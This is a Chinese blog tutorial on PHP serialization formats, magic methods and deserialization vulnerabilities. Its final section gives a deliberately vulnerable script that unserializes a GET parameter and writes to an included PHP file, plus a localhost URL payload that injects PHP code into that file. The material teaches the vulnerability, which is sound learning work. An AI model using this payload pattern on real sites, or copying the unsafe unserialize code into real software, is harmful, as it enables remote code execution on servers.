热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

[web安全原理]PHP反序列化漏洞

前言这几天一直在关注新管状病毒,从微博到各大公众号朋友圈了解感觉挺严重的看微博感觉特别严重看官方说法感觉还行那就取中间的吧自己要会对这个东西要有理性的判断。关注了好两天所以耽搁了学

前言

这几天一直在关注新管状病毒,从微博到各大公众号朋友圈了解感觉挺严重的看微博感觉特别严重看官方说法感觉还行那就取中间的吧 自己要会对这个东西要有理性的判断。关注了好两天所以耽搁了学习emmm 希望病毒早点过去吧!

[web安全原理]PHP反序列化漏洞

反序列化漏洞

序列化和反序列化

为了有效地存储或传递数据,同时不丢失其类型和结构,经常需要利用序列化和反序列化函数对数据进行处理。

反序列化函数返回字符串,此字符串包含了表示值的字节流,可以存储于任何地方

反序列化函数对单一的已序列化的变量进行操作,将其转换成员来的值

这两个过程结合起来,可以轻松地存储和传输数据,使程序更具维护性

PHP语言中常用的序列化和反序列化函数有serialize、unserialize、json_encode、json_decode

PHP序列化

1.serialize函数

serialize是序列化函数,PHP在序列化动作之前调用改对象的成员函数__sleep。这样就允许对象在被序列化之前做任何清除操作。’

(1)   NULL的序列化

在PHP中,NULL被序列化为N。

php

$str=NULL;

$xl_str=serialize($str);

print_r($xl_str);

?>

页面结果为: N;

 

(2)   Boolean型数据的序列化

Boolean型数据被序列化成b:。其中,表示0或1。当boolean型数据为false时,为0,否则为1

php

$str1=true;

$str2=false;

$xl_str1=serialize($str1);

$xl_str2=serialize($str2);

print_r($xl_str1."
"); print_r($xl_str2); ?> 页面结果为: b:1; b:0;

 

(3)   Integer型数据的序列化

Interger型(整型)数据被序列化为i:.其中为一个整型数,范围为:-2147483648——2147483647,如果被序列化的数字超过这个范围,则会被序列化为浮点型而不是整型。如果序列化后的数字超过这个范围,则反序列化时不会反悔期望的数值(PHP本身序列化时不会发生这个问题)

php

$str1=123;

$xl_str1=serialize($str1);

print_r($xl_str1);

?>

页面显示为:i:123;

 

 

(4)   Double型数据的序列化

Double型(浮点型)数据被序列化为d:。其中为一个浮点数,其范围与PHP的浮点数范围一样,可以表示成整数形式、浮点数形式和科学计数法形式。如果序列化无穷大,则为INF;如果序列化负无穷大则为-INF。如果序列化后的数字超过PHP能表示的最大值,则反序列化时返无穷大(INF);如果如果序列化的数据为非数字,则被序列化为NAN,NAN反序列化时返回0,其他语言可以将NAN反序列化为相应的语言所支持的NAN表示形式

php
$double1=1.23;
$xl_str1=serialize($double1);
print_r($xl_str1);
?>

页面显示为:d:1.23;

 

(5)   String型数据的序列化

String型(字符串型)数据序列化为s::”

php
$str1="test xiaohua";
$xl_str1=serialize($str1);
print_r($xl_str1);
?>

页面显示结果为:s:12:"test xiaohua";

 

(6)   数组的序列化

数组序列化通常被序列化为

a::{…}

 

表示数组个数

表示数组下标

表示与下标相对应的数组元素值

php
$shu=array('xiaohua1','xiaohua2','xiaohua3');
$xl_str1=serialize($shu);
print_r($xl_str1);
?>

页面显示结果:a:3:{i:0;s:8:"xiaohua1";i:1;s:8:"xiaohua2";i:2;s:8:"xiaohua3";}

 

(7)   对象的序列化

对象通常被序列化称:

O::""::{...}

 

:对象类名字符串长度

:对象的类名

:对象中字段数 包括var、protected、private、public声明的字段,不包括static和const声明的静态字符串

:每个字段对应的每个字段名

php
class xiaohua{
public $str='xiaohua';
public $str2="huahua";
function Func(){
        print("this is Func''");
}
}
 
$aaa=new xiaohua;
$se=serialize($aaa);
print $se;

?>

页面显示结果:
O:7:"xiaohua":2:{s:3:"str";s:7:"xiaohua";s:4:"str2";s:6:"huahua";}
s:3:"str";s:7:"xiaohua";

 

解读:s表示字符串类型,3是字段值长度 字段名称是str。s表示字符串7表示字段值长度 字段名称是xiaohua

PHP反序列化

反序列化

unserialize是反序列化函数

若被序列化的变量是一个对象,在重新构造对象之后,会自动调用__wakeup成员函数(如果存在)

php

class xiaohua{

       public $str='xiaohua';

       public $str2="huahua";

       function Func(){

              print("this is Func''");

       }

}


$aaa=new xiaohua;

$se=serialize($aaa);

$stra='O:7:"xiaohua":2:{s:3:"str";s:7:"xiaohua";s:4:"str2";s:6:"huahua";} ';

$stra=unserialize($stra);

var_dump($stra);

?>

页面显示结果:object(xiaohua)#2 (2) { ["str"]=> string(7) "xiaohua" ["str2"]=> string(6) "huahua" }

 

反序列化漏洞利用

反序列化漏洞利用

反序列化漏洞产生主要原因:
(1)unserialize函数的参数可控

(2)存在魔法函数

 

1.__construct函数和__destruct函数

void __construct([mixed $args[,$...]])

PHP5允许开发者在一个类中定义一个方法作为构造函数。具有构造函数的类会在每次创建新的对象时先调用此方法,所以__construct函数非常适合在使用对象之前做一些初始化工作。

__destruct函数

void __destruct(void)

PHP5引入了析构函数的概念,这类似于其他面向对象的语言,如C++.析构函数会在对某个对象的所有引用都被删除或者对象被显式销毁时执行

 

示例代码:

 1 php
 2 class xiaohua{
 3 
 4        function __construct(){
 5 
 6                      print "In construct 
"; 7 8 $this->name="my xiaohua"; 9 10 } 11 12 function __destruct(){ 13 14 print "Destruct
" .$this->name."\n"; 15 16 } 17 18 } 19 20 $obj=new xiaohua(); 21 22 ?> 25 执行结果: 26 In construct 27 Destruct 28 my xiaohua

创建xiaohua类的新对象时,会调用__construct函数,输出 In construct;对象被销毁时,会调用__destruct函数输出 Destruct my xiaohua

2.__sleep函数和__wakeup函数

__sleep函数

Serialize函数会坚持类中是否存在__sleep函数,如果存在函数会先被调用,然后执行序列化操作。此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称数组。如果该函数未返回任何内容,则NULL被序列化,并产生一个E_NOTICE级别的错误.

  __sleep函数不能返回父类的私有成员的名字,会产生E_NOTICE错误,该函数可以用serializable接口替代。

        __sleep函数常用于提交未提交的数据或进行类似的清理操作。同时,如果有一些很大的对象,但不需要全部保存,则使用此功能比较好。

__wakeup函数

Unserialize函数会检查是否存在__wakeup函数。如果存在,则会先调用__wakeup函数,预先准备对象需要的资源。

    __wakeup函数经常用在反序列化操作中,例如,重新建立数据连接或者性其他初始化操作。

 

 1 php
 2 
 3 class xiaohua{
 4 
 5     function huahua(){
 6 
 7            $this->name="huahua";
 8 
 9            print $this->name;
10 
11     }
12 
13     function __wakeup(){
14 
15            echo "wakeup  
"; 16 17 } 18 19 function __sleep(){ 20 21 echo "
sleep
"; 22 23 return array('name'); 24 } 25 26 } 27 28 $sst='O:7:"xiaohua":2:{s:3:"str";s:7:"xiaohua";s:4:"str2";s:6:"huahua";} '; 29 $sst=unserialize($sst); 30 var_dump($sst); 31 $xiaohua1=new xiaohua; 32 $xiaohua1->name="bobo"; 33 $sr=serialize($xiaohua1); 34 print $sr; 35 36 ?> 37 执行结果: 38 wakeup 39 object(xiaohua)#1 (2) { ["str"]=> string(7) "xiaohua" ["str2"]=> string(6) "huahua" } 40 sleep 41 O:7:"xiaohua":1:{s:4:"name";s:4:"bobo";}

反序列化后,会自动调用__wakeup函数,输出wakeup。序列化对象后,会自动调用__sleep函数输出sleep

 

 反序列化漏洞代码分析

反序列化漏洞代码分析

 1 php
 2 highlight_file(__FILE__);
 3 class a{
 4        var $test='hello';
 5        function __destruct(){
 6               $fp=fopen("C:\phpStudy\PHPTutorial\WWW\hua.php","w");
 7               print "===".$this->test;
 8               fputs($fp,$this->test);
 9               fclose($fp);
10        }
11 }
12 
13 $class=stripslashes($_GET['re']);
14 print $class;
15 $class_unser=unserialize($class);
16 require 'C:\phpStudy\PHPTutorial\WWW\hua.php';
17 ?>

 

 

漏洞分析:

(1)    unserialize函数的参数$class可控

(2)    存在__destruct函数,此函数会将$this->test的值写入C:\phpStudy\PHPTutorial\WWW\hua.php文件

 

漏洞利用

通过参数re传入的值要实例化a,并且改变$test的值。因为__destruct函数可以将$test的值写入hua.php文件中,所以可以利用该函数将PHP代码传入hello.php文件中。

 1 php
 2 class a{
 3        var $test='<?php phpinfo();?>';
 4 }
 5 $a=new a();
 6 $class_sere=serialize($a);
 7 print_r($class_sere)
 8 ?>
 9 执行结果:
10  O:1:"a":1:{s:4:"test";s:22:"<?php%20phpinfo();?>";}

 

pyload:

http://127.0.0.1/test.php?re=O:1:"a":1:{s:4:"test";s:22:"<?php%20phpinfo();?>";}

 

参考学习:《web安全原理分析与实践》

  https://www.freebuf.com/vuls/116705.html


推荐阅读
  • 本文介绍了Python高级网络编程及TCP/IP协议簇的OSI七层模型。首先简单介绍了七层模型的各层及其封装解封装过程。然后讨论了程序开发中涉及到的网络通信内容,主要包括TCP协议、UDP协议和IPV4协议。最后还介绍了socket编程、聊天socket实现、远程执行命令、上传文件、socketserver及其源码分析等相关内容。 ... [详细]
  • 开发笔记:加密&json&StringIO模块&BytesIO模块
    篇首语:本文由编程笔记#小编为大家整理,主要介绍了加密&json&StringIO模块&BytesIO模块相关的知识,希望对你有一定的参考价值。一、加密加密 ... [详细]
  • 本文介绍了C#中生成随机数的三种方法,并分析了其中存在的问题。首先介绍了使用Random类生成随机数的默认方法,但在高并发情况下可能会出现重复的情况。接着通过循环生成了一系列随机数,进一步突显了这个问题。文章指出,随机数生成在任何编程语言中都是必备的功能,但Random类生成的随机数并不可靠。最后,提出了需要寻找其他可靠的随机数生成方法的建议。 ... [详细]
  • 本文介绍了Redis的基础数据结构string的应用场景,并以面试的形式进行问答讲解,帮助读者更好地理解和应用Redis。同时,描述了一位面试者的心理状态和面试官的行为。 ... [详细]
  • 解决Cydia数据库错误:could not open file /var/lib/dpkg/status 的方法
    本文介绍了解决iOS系统中Cydia数据库错误的方法。通过使用苹果电脑上的Impactor工具和NewTerm软件,以及ifunbox工具和终端命令,可以解决该问题。具体步骤包括下载所需工具、连接手机到电脑、安装NewTerm、下载ifunbox并注册Dropbox账号、下载并解压lib.zip文件、将lib文件夹拖入Books文件夹中,并将lib文件夹拷贝到/var/目录下。以上方法适用于已经越狱且出现Cydia数据库错误的iPhone手机。 ... [详细]
  • 计算机存储系统的层次结构及其优势
    本文介绍了计算机存储系统的层次结构,包括高速缓存、主存储器和辅助存储器三个层次。通过分层存储数据可以提高程序的执行效率。计算机存储系统的层次结构将各种不同存储容量、存取速度和价格的存储器有机组合成整体,形成可寻址存储空间比主存储器空间大得多的存储整体。由于辅助存储器容量大、价格低,使得整体存储系统的平均价格降低。同时,高速缓存的存取速度可以和CPU的工作速度相匹配,进一步提高程序执行效率。 ... [详细]
  • 本文介绍了南邮ctf-web的writeup,包括签到题和md5 collision。在CTF比赛和渗透测试中,可以通过查看源代码、代码注释、页面隐藏元素、超链接和HTTP响应头部来寻找flag或提示信息。利用PHP弱类型,可以发现md5('QNKCDZO')='0e830400451993494058024219903391'和md5('240610708')='0e462097431906509019562988736854'。 ... [详细]
  • Java中包装类的设计原因以及操作方法
    本文主要介绍了Java中设计包装类的原因以及操作方法。在Java中,除了对象类型,还有八大基本类型,为了将基本类型转换成对象,Java引入了包装类。文章通过介绍包装类的定义和实现,解答了为什么需要包装类的问题,并提供了简单易用的操作方法。通过本文的学习,读者可以更好地理解和应用Java中的包装类。 ... [详细]
  • Iamtryingtomakeaclassthatwillreadatextfileofnamesintoanarray,thenreturnthatarra ... [详细]
  • 在Android开发中,使用Picasso库可以实现对网络图片的等比例缩放。本文介绍了使用Picasso库进行图片缩放的方法,并提供了具体的代码实现。通过获取图片的宽高,计算目标宽度和高度,并创建新图实现等比例缩放。 ... [详细]
  • 这是原文链接:sendingformdata许多情况下,我们使用表单发送数据到服务器。服务器处理数据并返回响应给用户。这看起来很简单,但是 ... [详细]
  • Java容器中的compareto方法排序原理解析
    本文从源码解析Java容器中的compareto方法的排序原理,讲解了在使用数组存储数据时的限制以及存储效率的问题。同时提到了Redis的五大数据结构和list、set等知识点,回忆了作者大学时代的Java学习经历。文章以作者做的思维导图作为目录,展示了整个讲解过程。 ... [详细]
  • 如何用UE4制作2D游戏文档——计算篇
    篇首语:本文由编程笔记#小编为大家整理,主要介绍了如何用UE4制作2D游戏文档——计算篇相关的知识,希望对你有一定的参考价值。 ... [详细]
  • 本文介绍了Linux Shell中括号和整数扩展的使用方法,包括命令组、命令替换、初始化数组以及算术表达式和逻辑判断的相关内容。括号中的命令将会在新开的子shell中顺序执行,括号中的变量不能被脚本余下的部分使用。命令替换可以用于将命令的标准输出作为另一个命令的输入。括号中的运算符和表达式符合C语言运算规则,可以用在整数扩展中进行算术计算和逻辑判断。 ... [详细]
  • 本文介绍了Python爬虫技术基础篇面向对象高级编程(中)中的多重继承概念。通过继承,子类可以扩展父类的功能。文章以动物类层次的设计为例,讨论了按照不同分类方式设计类层次的复杂性和多重继承的优势。最后给出了哺乳动物和鸟类的设计示例,以及能跑、能飞、宠物类和非宠物类的增加对类数量的影响。 ... [详细]
author-avatar
很想爱到极限
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有